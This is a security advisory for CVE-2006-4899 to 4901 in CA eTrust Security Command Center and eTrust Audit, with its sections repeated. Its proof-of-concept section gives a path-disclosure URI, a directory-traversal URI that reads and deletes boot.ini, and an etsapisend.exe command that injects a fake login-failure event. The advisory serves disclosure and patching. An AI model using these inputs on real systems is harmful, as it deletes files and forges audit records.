CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
BID:20139
CVE-2006-4899 | CVE-2006-4900 | CVE-2006-4901 |Info
CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
| Bugtraq ID: | 20139 |
| Class: | Unknown |
| CVE: |
CVE-2006-4899 CVE-2006-4900 CVE-2006-4901 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Sep 21 2006 12:00AM |
| Updated: | Jun 26 2007 04:18AM |
| Credit: | Patrick Webster is credited with discovering these vulnerabilities. |
| Vulnerable: |
Computer Associates eTrust Security Command Center r8 SP1 CR2 Computer Associates eTrust Security Command Center r8 SP1 CR1 Computer Associates eTrust Security Command Center r8 Computer Associates eTrust Security Command Center 1.0 Computer Associates eTrust Audit r8 Computer Associates eTrust Audit 1.5 |
| Not Vulnerable: | |
Discussion
CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.
Exploit / POC
CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
Attackers may exploit these issues using a web browser or the 'etsapisend.exe' executeable.
The following URI demonstrates the path-disclosure issue:
https://www.example.com:8080/etrust/servlet/ePPIServlet?PIProfile=eAV_Report's&PIName=Generate+Pre-7.1+Report+Data&profile= Threat+Management&node=
The following URI demonstrates the arbitrary-file-access/removal issue by retrieving 'boot.ini' and then deleting it:
https://www.example.com:8080/etrust/servlet/eSMPAuditServlet?verb=getadhochtml&eSCCAdHocHtmlFile=../../../../../../../boot.ini
The following command-line example will send a login-failure event:
etsapisend.exe -nod $dstIP -cat "System Access" -opr Logon -sta F -nam NT-Security -loc \\Domain\IIS_Server -usr System -evt 70 -src Security -nid 529 -inf "Logon Failure"
Attackers may exploit these issues using a web browser or the 'etsapisend.exe' executeable.
The following URI demonstrates the path-disclosure issue:
https://www.example.com:8080/etrust/servlet/ePPIServlet?PIProfile=eAV_Report's&PIName=Generate+Pre-7.1+Report+Data&profile= Threat+Management&node=
The following URI demonstrates the arbitrary-file-access/removal issue by retrieving 'boot.ini' and then deleting it:
https://www.example.com:8080/etrust/servlet/eSMPAuditServlet?verb=getadhochtml&eSCCAdHocHtmlFile=../../../../../../../boot.ini
The following command-line example will send a login-failure event:
etsapisend.exe -nod $dstIP -cat "System Access" -opr Logon -sta F -nam NT-Security -loc \\Domain\IIS_Server -usr System -evt 70 -src Security -nid 529 -inf "Logon Failure"
Solution / Fix
CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
Solution:
The vendor has released fixes to address these issues. Please see the references for more information.
Solution:
The vendor has released fixes to address these issues. Please see the references for more information.
References
CA eTrust Security Command Center and eTrust Audit Multiple Vulnerabilities
References:
References:
- 34616 CA eTrust Security Command Center reveal web server path vulnerability (Computer Associates)
- 34617 CA eTrust Security Command Center read and delete arbitrary files vulnerab (Computer Associates)
- 34618 CA eTrust Security Command Center and Audit external relay attacks vulnera (Computer Associates)
- Computer Associates Homepage (Computer Associates)
- eSupport Homepage (Computer Associates)
- [CAID 34616, 34617, 34618]: CA eSCC and eTrust Audit vulnerabilities (Williams, James K)
- RE: Computer Associates eTrust Security Command Center Multiple Vulnerabilities ("Patrick Webster"